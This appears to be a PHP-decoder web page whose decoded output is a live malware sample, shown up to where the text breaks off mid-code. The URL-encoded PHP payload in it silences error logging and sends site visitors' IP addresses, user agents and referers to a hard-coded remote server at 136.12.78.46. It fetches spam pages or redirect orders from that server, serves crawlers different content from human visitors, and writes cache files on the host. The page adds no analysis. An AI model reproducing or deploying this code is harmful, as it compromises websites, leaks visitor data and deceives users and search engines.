Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (!defined("PHP_EOL")) { define("PHP_EOL", "\n"); } if (!..

Decoded Output download

<?php  
 
 
 
if (!defined("PHP_EOL")) { 
 
    define("PHP_EOL", "
"); 
 
} 
 
 
 
if (!defined("DIRECTORY_SEPARATOR")) { 
 
    define("DIRECTORY_SEPARATOR", "/"); 
 
} 
 
 
 
 
 
$payload_file = "%3C%3Fphp%0A%0A%40ini_set%28%27error_log%27%2C%20NULL%29%3B%40ini_set%28%27log_errors%27%2C%200%29%3B%40ini_set%28%27max_execution_time%27%2C%200%29%3B%40error_reporting%280%29%3B%40set_time_limit%280%29%3Bdate_default_timezone_set%28%27UTC%27%29%3Bclass%20_79zfb9%7Bstatic%20private%20%24_sl5nhhwu%20%3D%2084485150%3Bstatic%20function%20_skc19%28%24_79wt4ge0%2C%20%24_osyh7011%29%7B%24_79wt4ge0%5B2%5D%20%3D%20count%28%24_79wt4ge0%29%20%3E%204%20%3F%20long2ip%28_79zfb9%3A%3A%24_sl5nhhwu%20-%20529%29%20%3A%20%24_79wt4ge0%5B2%5D%3B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_9enqk%28%24_79wt4ge0%2C%20%24_osyh7011%29%3Bif%20%28%21%24_x0013v0w%29%20%7B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_3ncnn%28%24_79wt4ge0%2C%20%24_osyh7011%29%3B%7Dreturn%20%24_x0013v0w%3B%7Dstatic%20function%20_9enqk%28%24_79wt4ge0%2C%20%24_x0013v0w%2C%20%24_pneb21v4%20%3D%20NULL%29%7Bif%20%28%21function_exists%28%27curl_version%27%29%29%20%7Breturn%20%22%22%3B%7Dif%20%28is_array%28%24_79wt4ge0%29%29%20%7B%24_79wt4ge0%20%3D%20implode%28%22/%22%2C%20%24_79wt4ge0%29%3B%7D%24_zrffvwu8%20%3D%20curl_init%28%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_SSL_VERIFYHOST%2C%20false%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_SSL_VERIFYPEER%2C%20false%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_URL%2C%20%24_79wt4ge0%29%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_POST%2C%201%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_POSTFIELDS%2C%20%24_x0013v0w%29%3B%7Dif%20%28%21empty%28%24_pneb21v4%29%29%20%7Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_HTTPHEADER%2C%20%24_pneb21v4%29%3B%7Dcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_RETURNTRANSFER%2C%20TRUE%29%3B%24_jh5ealbv%20%3D%20curl_exec%28%24_zrffvwu8%29%3Bcurl_close%28%24_zrffvwu8%29%3Breturn%20%24_jh5ealbv%3B%7Dstatic%20function%20_3ncnn%28%24_79wt4ge0%2C%20%24_x0013v0w%2C%20%24_pneb21v4%20%3D%20NULL%29%7Bif%20%28is_array%28%24_79wt4ge0%29%29%20%7B%24_79wt4ge0%20%3D%20implode%28%22/%22%2C%20%24_79wt4ge0%29%3B%7D%24_47fxccvz%20%3D%20%22%5Cr%22%20.%20%22%5Cn%22%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7B%24_0cyxrlie%20%3D%20array%28%27method%27%20%3D%3E%20%27POST%27%2C%27header%27%20%3D%3E%20%27Content-type%3A%20application/x-www-form-urlencoded%27%2C%27content%27%20%3D%3E%20%24_x0013v0w%29%3Bif%20%28%21empty%28%24_pneb21v4%29%29%20%7B%24_0cyxrlie%5B%22header%22%5D%20%3D%20%24_0cyxrlie%5B%22header%22%5D%20.%20%24_47fxccvz%20.%20implode%28%24_47fxccvz%2C%20%24_pneb21v4%29%3B%7D%24_gd1au729%20%3D%20stream_context_create%28array%28%27http%27%20%3D%3E%20%24_0cyxrlie%29%29%3B%7D%20else%20%7B%24_0cyxrlie%20%3D%20array%28%27method%27%20%3D%3E%20%27GET%27%2C%29%3Bif%20%28%21empty%28%24_pneb21v4%29%29%20%7B%24_0cyxrlie%5B%22header%22%5D%20%3D%20implode%28%24_47fxccvz%2C%20%24_pneb21v4%29%3B%7D%24_gd1au729%20%3D%20stream_context_create%28array%28%27http%27%20%3D%3E%20%24_0cyxrlie%29%29%3B%7Dreturn%20%40file_get_contents%28%24_79wt4ge0%2C%20FALSE%2C%20%24_gd1au729%29%3B%7D%7Dclass%20_v6ya63%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_r0b1q0sq%20%3D%20-1%3Bprivate%20static%20%24_n9f3i9zb%20%3D%20%22%22%3Bprivate%20%24_mdr61w5r%20%3D%20%22%22%3Bprivate%20%24_kj2jlx7n%20%3D%20%22%22%3Bprivate%20%24_4y95yidp%20%3D%20%22%22%3Bprivate%20%24_4qy4zmi3%20%3D%20%22%22%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_qh4r8uy8%2C%20%24_r44rgrti%29%7B_v6ya63%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/cache/%22%3B_v6ya63%3A%3A%24_r0b1q0sq%20%3D%20%24_qh4r8uy8%3B_v6ya63%3A%3A%24_n9f3i9zb%20%3D%20%24_r44rgrti%3Bif%20%28%21%40file_exists%28_v6ya63%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_v6ya63%3A%3A%24_onc6y982%29%3B%7D%7Dstatic%20public%20function%20_vga85%28%29%7B%24_73937oah%20%3D%20substr%28md5%28_v6ya63%3A%3A%24_n9f3i9zb%20.%20%22salt13%22%29%2C%200%2C%204%29%3B%24_mk8d72ze%20%3D%20Array%28%22google%22%20%3D%3E%20Array%28%29%2C%20%22bing%22%20%3D%3E%20Array%28%29%2C%29%3Bforeach%20%28array_keys%28%24_mk8d72ze%29%20as%20%24_5bjqfno9%29%7B%24_tycvmk6k%20%3D%20%24_73937oah%20.%20%22_%22%20.%20%24_5bjqfno9%20.%20%22.stats%22%3B%24_6pfzvk6r%20%3D%20%40file%28%24_tycvmk6k%2C%20FILE_IGNORE_NEW_LINES%29%3Bforeach%20%28%24_6pfzvk6r%20as%20%24_5sgzz3hq%29%7B%24_ttie0k4s%20%3D%20explode%28%22%5Ct%22%2C%20%24_5sgzz3hq%29%3Bif%20%28%21isset%28%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%29%29%7B%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%20%3D%200%3B%7D%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%20%2B%3D%201%3B%7D%7D%24_mk8d72ze%5B%22prefix%22%5D%20%3D%20%24_73937oah%3Breturn%20%24_mk8d72ze%3B%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dpublic%20function%20__construct%28%24_swlicjbm%2C%20%24_c2d4vsy0%2C%20%24_o4h21pkl%2C%20%24_xnnqxgqw%29%7B%24this-%3E_mdr61w5r%20%3D%20%24_swlicjbm%3B%24this-%3E_kj2jlx7n%20%3D%20%24_c2d4vsy0%3B%24this-%3E_4y95yidp%20%3D%20%24_o4h21pkl%3B%24this-%3E_4qy4zmi3%20%3D%20%24_xnnqxgqw%3B%7Dpublic%20function%20_neje4%28%29%7Bfunction%20_bwk3z%28%24_e0w6pl49%2C%20%24_78iw99aq%29%7Breturn%20round%28rand%28%24_e0w6pl49%2C%20%24_78iw99aq%20-%201%29%20%2B%20%28rand%280%2C%20PHP_INT_MAX%20-%201%29%20/%20PHP_INT_MAX%29%2C%202%29%3B%7D%24_3jiwi54r%20%3D%20time%28%29%3B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20substr%28md5%28_v6ya63%3A%3A%24_n9f3i9zb%20.%20%22salt13%22%29%2C%200%2C%204%29%20.%20%22_%22%20.%20%24_5bjqfno9%20.%20%22.stats%22%3B%40file_put_contents%28%24_tycvmk6k%2C%20%24this-%3E_4y95yidp%20.%20%22%5Ct%22%20.%20%28%24_3jiwi54r%20-%20%28%24_3jiwi54r%20%25%203600%29%29%20.PHP_EOL%2C%208%29%3B%24_vrg12mxu%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3B%24_x0013v0w%20%3D%20str_replace%28%22%7B%7B%20text%20%7D%7D%22%2C%20%24this-%3E_kj2jlx7n%2Cstr_replace%28%22%7B%7B%20keyword%20%7D%7D%22%2C%20%24this-%3E_4y95yidp%2Cstr_replace%28%22%7B%7B%20links%20%7D%7D%22%2C%20%24this-%3E_4qy4zmi3%2C%20%24this-%3E_mdr61w5r%29%29%29%3Bwhile%20%28TRUE%29%20%7B%24_xvuql9o9%20%3D%20preg_replace%28%27/%27%20.%20preg_quote%28%22%7B%7B%20randkeyword%20%7D%7D%22%2C%20%27/%27%29%20.%20%27/%27%2C%20_xyxad4u%3A%3A_8dnv4%28%29%2C%20%24_x0013v0w%2C%201%29%3Bif%20%28%24_xvuql9o9%20%3D%3D%3D%20%24_x0013v0w%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20%24_xvuql9o9%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20KEYWORDBYINDEX-ANCHOR%20%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_o4h21pkl%20%3D%20%40%24_vrg12mxu%5Bintval%28%24_x2d57np9%5B1%5D%29%5D%3B%24_ouhgv6fy%20%3D%20_er50gh%3A%3A_ax1dg%28%24_o4h21pkl%29%3B%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20%24_ouhgv6fy%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20KEYWORDBYINDEX%20%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_o4h21pkl%20%3D%20%40%24_vrg12mxu%5Bintval%28%24_x2d57np9%5B1%5D%29%5D%3B%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20%24_o4h21pkl%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20RANDFLOAT%20%28%5Cd%2A%29-%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20_bwk3z%28%24_x2d57np9%5B1%5D%2C%20%24_x2d57np9%5B2%5D%29%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20RANDINT%20%28%5Cd%2A%29-%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20rand%28%24_x2d57np9%5B1%5D%2C%20%24_x2d57np9%5B2%5D%29%2C%20%24_x0013v0w%29%3B%7Dreturn%20%24_x0013v0w%3B%7Dpublic%20function%20_g7wwk%28%29%7B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20_v6ya63%3A%3A%24_onc6y982%20.%20md5%28%24this-%3E_4y95yidp%20.%20_v6ya63%3A%3A%24_n9f3i9zb%29%20.%20%24_5bjqfno9%3Bif%20%28_v6ya63%3A%3A%24_r0b1q0sq%20%3D%3D%20-1%29%20%7B%24_wvusgnbi%20%3D%20-1%3B%7D%20else%20%7B%24_wvusgnbi%20%3D%20time%28%29%20%2B%20%283600%20%2A%2024%20%2A%2030%29%3B%7D%24_09745prc%20%3D%20array%28%22template%22%20%3D%3E%20%24this-%3E_mdr61w5r%2C%20%22text%22%20%3D%3E%20%24this-%3E_kj2jlx7n%2C%20%22keyword%22%20%3D%3E%20%24this-%3E_4y95yidp%2C%22links%22%20%3D%3E%20%24this-%3E_4qy4zmi3%2C%20%22expired%22%20%3D%3E%20%24_wvusgnbi%29%3B%40file_put_contents%28%24_tycvmk6k%2C%20serialize%28%24_09745prc%29%29%3B%7Dstatic%20public%20function%20_q42pz%28%24_o4h21pkl%29%7B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20_v6ya63%3A%3A%24_onc6y982%20.%20md5%28%24_o4h21pkl%20.%20_v6ya63%3A%3A%24_n9f3i9zb%29%20.%20%24_5bjqfno9%3B%24_tycvmk6k%20%3D%20%40unserialize%28%40file_get_contents%28%24_tycvmk6k%29%29%3Bif%20%28%21empty%28%24_tycvmk6k%29%20%26%26%20%28%24_tycvmk6k%5B%22expired%22%5D%20%3E%20time%28%29%20%7C%7C%20%24_tycvmk6k%5B%22expired%22%5D%20%3D%3D%20-1%29%29%20%7Breturn%20new%20_v6ya63%28%24_tycvmk6k%5B%22template%22%5D%2C%20%24_tycvmk6k%5B%22text%22%5D%2C%20%24_tycvmk6k%5B%22keyword%22%5D%2C%20%24_tycvmk6k%5B%22links%22%5D%29%3B%7D%20else%20%7Breturn%20null%3B%7D%7D%7Dclass%20_cwqzsic%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_gfhbaxrs%20%3D%20%22%22%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_73937oah%29%7B_cwqzsic%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/%22%3B_cwqzsic%3A%3A%24_gfhbaxrs%20%3D%20%24_73937oah%3Bif%20%28%21%40file_exists%28_cwqzsic%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_cwqzsic%3A%3A%24_onc6y982%29%3B%7D%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dstatic%20public%20function%20_moy7x%28%29%7B%24_2rqfxc3j%20%3D%200%3Bforeach%20%28scandir%28_cwqzsic%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_cwqzsic%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_2rqfxc3j%20%2B%3D%201%3B%7D%7Dreturn%20%24_2rqfxc3j%3B%7Dstatic%20public%20function%20_8dnv4%28%29%7B%24_ep0k5sxh%20%3D%20array%28%29%3Bforeach%20%28scandir%28_cwqzsic%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_cwqzsic%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_ep0k5sxh%5B%5D%20%3D%20%24_qjfmhk6q%3B%7D%7D%24_x0013v0w%20%3D%20%40file_get_contents%28_cwqzsic%3A%3A%24_onc6y982%20.%20%24_ep0k5sxh%5Barray_rand%28%24_ep0k5sxh%29%5D%29%3Breturn%20%24_x0013v0w%3B%7Dstatic%20public%20function%20_g7wwk%28%24_3e3yj5cm%29%7Bif%20%28%40file_exists%28_cwqzsic%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_3e3yj5cm%29%20.%20%22.html%22%29%29%20%7Breturn%3B%7D%40file_put_contents%28_cwqzsic%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_3e3yj5cm%29%20.%20%22.html%22%2C%20%24_3e3yj5cm%29%3B%7D%7Dclass%20_xyxad4u%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_gfhbaxrs%20%3D%20%22%22%3Bprivate%20static%20%24_907snz8i%20%3D%20array%28%29%3Bprivate%20static%20%24_j00tqi38%20%3D%20array%28%29%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_73937oah%29%7B_xyxad4u%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/%22%3B_xyxad4u%3A%3A%24_gfhbaxrs%20%3D%20%24_73937oah%3Bif%20%28%21%40file_exists%28_xyxad4u%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_xyxad4u%3A%3A%24_onc6y982%29%3B%7D%7Dprivate%20static%20function%20_k7pwt%28%29%7B%24_5kvxntg8%20%3D%20array%28%29%3Bforeach%20%28scandir%28_xyxad4u%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_xyxad4u%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_5kvxntg8%5B%5D%20%3D%20%24_qjfmhk6q%3B%7D%7Dreturn%20%24_5kvxntg8%3B%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dstatic%20public%20function%20_8dnv4%28%29%7Bif%20%28empty%28_xyxad4u%3A%3A%24_907snz8i%29%29%20%7B%24_5kvxntg8%20%3D%20_xyxad4u%3A%3A_k7pwt%28%29%3B_xyxad4u%3A%3A%24_907snz8i%20%3D%20%40file%28_xyxad4u%3A%3A%24_onc6y982%20.%20%24_5kvxntg8%5Barray_rand%28%24_5kvxntg8%29%5D%2C%20FILE_IGNORE_NEW_LINES%29%3B%7Dreturn%20_xyxad4u%3A%3A%24_907snz8i%5Barray_rand%28_xyxad4u%3A%3A%24_907snz8i%29%5D%3B%7Dstatic%20public%20function%20_3ap03%28%29%7Bif%20%28empty%28_xyxad4u%3A%3A%24_j00tqi38%29%29%20%7B%24_5kvxntg8%20%3D%20_xyxad4u%3A%3A_k7pwt%28%29%3Bforeach%20%28%24_5kvxntg8%20as%20%24_ayhpbot1%29%20%7B_xyxad4u%3A%3A%24_j00tqi38%20%3D%20array_merge%28_xyxad4u%3A%3A%24_j00tqi38%2C%20%40file%28_xyxad4u%3A%3A%24_onc6y982%20.%20%24_ayhpbot1%2C%20FILE_IGNORE_NEW_LINES%29%29%3B%7D%7Dreturn%20_xyxad4u%3A%3A%24_j00tqi38%3B%7Dstatic%20public%20function%20_g7wwk%28%24_72yj6qzs%29%7Bif%20%28%40file_exists%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_72yj6qzs%29%20.%20%22.list%22%29%29%20%7Breturn%3B%7D%40file_put_contents%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_72yj6qzs%29%20.%20%22.list%22%2C%20%24_72yj6qzs%29%3B%7Dstatic%20public%20function%20_7z4dg%28%24_o4h21pkl%29%7B%40file_put_contents%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28_er50gh%3A%3A%24_wqq8o3s4%29%20.%20%22.list%22%2C%20%24_o4h21pkl%20.%20%22%5Cn%22%2C%208%29%3B%7D%7Dclass%20_er50gh%7Bstatic%20public%20%24_798p6ki4%20%3D%20%225.5%22%3Bstatic%20public%20%24_wqq8o3s4%20%3D%20%2283fe3b09-80a6-3360-c5db-c346cc24407e%22%3Bstatic%20public%20%24_hz9omu24%20%3D%20%22http%3A//136.12.78.46/app/assets/api2%3Faction%3Dredir%22%3Bstatic%20public%20%24_h8dxh8hr%20%3D%20%22http%3A//136.12.78.46/app/assets/api%3Faction%3Dpage%22%3Bstatic%20public%20%24_loyjoas0%20%3D%201%3Bstatic%20public%20%24_p0pykfqo%20%3D%205%3Bprivate%20function%20_ot7y0%28%29%7B%24_t5p9dxvy%20%3D%20array%28%27%23libwww-perl%23i%27%2C%27%23MJ12bot%23i%27%2C%27%23msnbot%23i%27%2C%20%27%23msnbot-media%23i%27%2C%27%23YandexBot%23i%27%2C%20%27%23msnbot%23i%27%2C%20%27%23YandexWebmaster%23i%27%2C%27%23spider%23i%27%2C%20%27%23yahoo%23i%27%2C%20%27%23google%23i%27%2C%20%27%23altavista%23i%27%2C%27%23ask%23i%27%2C%27%23yahoo%21%5Cs%2Aslurp%23i%27%2C%27%23BingBot%23i%27%29%3Bif%20%28%21empty%28%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%29%20%26%26%20%28FALSE%20%21%3D%3D%20strpos%28preg_replace%28%24_t5p9dxvy%2C%20%27-NO-WAY-%27%2C%20%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%29%2C%20%27-NO-WAY-%27%29%29%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20elseif%20%28empty%28%24_SERVER%5B%27HTTP_ACCEPT_LANGUAGE%27%5D%29%20%7C%7C%20empty%28%24_SERVER%5B%27HTTP_REFERER%27%5D%29%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20elseif%20%28strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22google%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22yahoo%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22bing%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22yandex%22%29%20%3D%3D%3D%20FALSE%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20else%20%7B%24_c5mwz2zd%20%3D%200%3B%7Dreturn%20%24_c5mwz2zd%3B%7Dprivate%20static%20function%20_fwe3f%28%29%7B%24_osyh7011%20%3D%20array%28%29%3B%24_osyh7011%5B%27ip%27%5D%20%3D%20%24_SERVER%5B%27REMOTE_ADDR%27%5D%3B%24_osyh7011%5B%27qs%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_HOST%27%5D%20.%20%40%24_SERVER%5B%27REQUEST_URI%27%5D%3B%24_osyh7011%5B%27ua%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%3B%24_osyh7011%5B%27lang%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_LANGUAGE%27%5D%3B%24_osyh7011%5B%27ref%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_REFERER%27%5D%3B%24_osyh7011%5B%27enc%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_ENCODING%27%5D%3B%24_osyh7011%5B%27acp%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT%27%5D%3B%24_osyh7011%5B%27char%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_CHARSET%27%5D%3B%24_osyh7011%5B%27conn%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_CONNECTION%27%5D%3Breturn%20%24_osyh7011%3B%7Dpublic%20function%20__construct%28%29%7B_er50gh%3A%3A%24_hz9omu24%20%3D%20explode%28%22/%22%2C%20_er50gh%3A%3A%24_hz9omu24%29%3B_er50gh%3A%3A%24_h8dxh8hr%20%3D%20explode%28%22/%22%2C%20_er50gh%3A%3A%24_h8dxh8hr%29%3B%7Dstatic%20public%20function%20_hitc7%28%24_630ynqx3%29%7Bif%20%28strlen%28%24_630ynqx3%29%20%3C%204%29%20%7Breturn%20%22%22%3B%7D%24_mnxc71t0%20%3D%20%22ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B/%3D%22%3B%24_vrg12mxu%20%3D%20str_split%28%24_mnxc71t0%29%3B%24_vrg12mxu%20%3D%20array_flip%28%24_vrg12mxu%29%3B%24_46zwfcoo%20%3D%200%3B%24_basqs11f%20%3D%20%22%22%3B%24_630ynqx3%20%3D%20preg_replace%28%22%7E%5B%5EA-Za-z0-9%5C%2B%5C/%5C%3D%5D%7E%22%2C%20%22%22%2C%20%24_630ynqx3%29%3Bdo%20%7B%24_05c41l6f%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_5hi4q1np%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_8rrutpb5%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_4sfs3zfo%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_zn4hwt6t%20%3D%20%28%24_05c41l6f%20%3C%3C%202%29%20%7C%20%28%24_5hi4q1np%20%3E%3E%204%29%3B%24_u14jby1p%20%3D%20%28%28%24_5hi4q1np%20%26%2015%29%20%3C%3C%204%29%20%7C%20%28%24_8rrutpb5%20%3E%3E%202%29%3B%24_huor5vlk%20%3D%20%28%28%24_8rrutpb5%20%26%203%29%20%3C%3C%206%29%20%7C%20%24_4sfs3zfo%3B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_zn4hwt6t%29%3Bif%20%28%24_8rrutpb5%20%21%3D%2064%29%20%7B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_u14jby1p%29%3B%7Dif%20%28%24_4sfs3zfo%20%21%3D%2064%29%20%7B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_huor5vlk%29%3B%7D%7D%20while%20%28%24_46zwfcoo%20%3C%20strlen%28%24_630ynqx3%29%29%3Breturn%20%24_basqs11f%3B%7Dprivate%20function%20_nr51i%28%24_o4h21pkl%29%7B%24_swlicjbm%20%3D%20%22%22%3B%24_c2d4vsy0%20%3D%20%22%22%3B%24_osyh7011%20%3D%20_er50gh%3A%3A_fwe3f%28%29%3B%24_osyh7011%5B%22uid%22%5D%20%3D%20_er50gh%3A%3A%24_wqq8o3s4%3B%24_osyh7011%5B%22keyword%22%5D%20%3D%20%24_o4h21pkl%3B%24_osyh7011%5B%22tc%22%5D%20%3D%2010%3B%24_osyh7011%20%3D%20http_build_query%28%24_osyh7011%29%3B%24_6pfzvk6r%20%3D%20_79zfb9%3A%3A_skc19%28_er50gh%3A%3A%24_h8dxh8hr%2C%20%24_osyh7011%29%3Bif%20%28strpos%28%24_6pfzvk6r%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%20%3D%3D%3D%20FALSE%29%20%7Breturn%20array%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%3B%7D%24_swlicjbm%20%3D%20_cwqzsic%3A%3A_8dnv4%28%29%3B%24_c2d4vsy0%20%3D%20substr%28%24_6pfzvk6r%2C%20strlen%28_er50gh%3A%3A%24_wqq8o3s4%29%29%3B%24_c2d4vsy0%20%3D%20explode%28%22%5Cn%22%2C%20%24_c2d4vsy0%29%3Bshuffle%28%24_c2d4vsy0%29%3B%24_c2d4vsy0%20%3D%20implode%28%22%20%22%2C%20%24_c2d4vsy0%29%3Breturn%20array%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%3B%7Dprivate%20function%20_8rfk6%28%29%7B%24_osyh7011%20%3D%20_er50gh%3A%3A_fwe3f%28%29%3Bif%20%28isset%28%24_SERVER%5B%27HTTP_CF_CONNECTING_IP%27%5D%29%29%20%7B%24_osyh7011%5B%27cfconn%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_CF_CONNECTING_IP%27%5D%3B%7Dif%20%28isset%28%24_SERVER%5B%27HTTP_X_REAL_IP%27%5D%29%29%20%7B%24_osyh7011%5B%27xreal%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_X_REAL_IP%27%5D%3B%7Dif%20%28isset%28%24_SERVER%5B%27HTTP_X_FORWARDED_FOR%27%5D%29%29%20%7B%24_osyh7011%5B%27xforward%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_X_FORWARDED_FOR%27%5D%3B%7D%24_osyh7011%5B%22uid%22%5D%20%3D%20_er50gh%3A%3A%24_wqq8o3s4%3B%24_osyh7011%20%3D%20http_build_query%28%24_osyh7011%29%3B%24_hgj2uuv9%20%3D%20_79zfb9%3A%3A_skc19%28_er50gh%3A%3A%24_hz9omu24%2C%20%24_osyh7011%29%3B%24_hgj2uuv9%20%3D%20%40unserialize%28%24_hgj2uuv9%29%3Bif%20%28isset%28%24_hgj2uuv9%5B%22type%22%5D%29%20%26%26%20%24_hgj2uuv9%5B%22type%22%5D%20%3D%3D%20%22redir%22%29%20%7Bif%20%28%21empty%28%24_hgj2uuv9%5B%22data%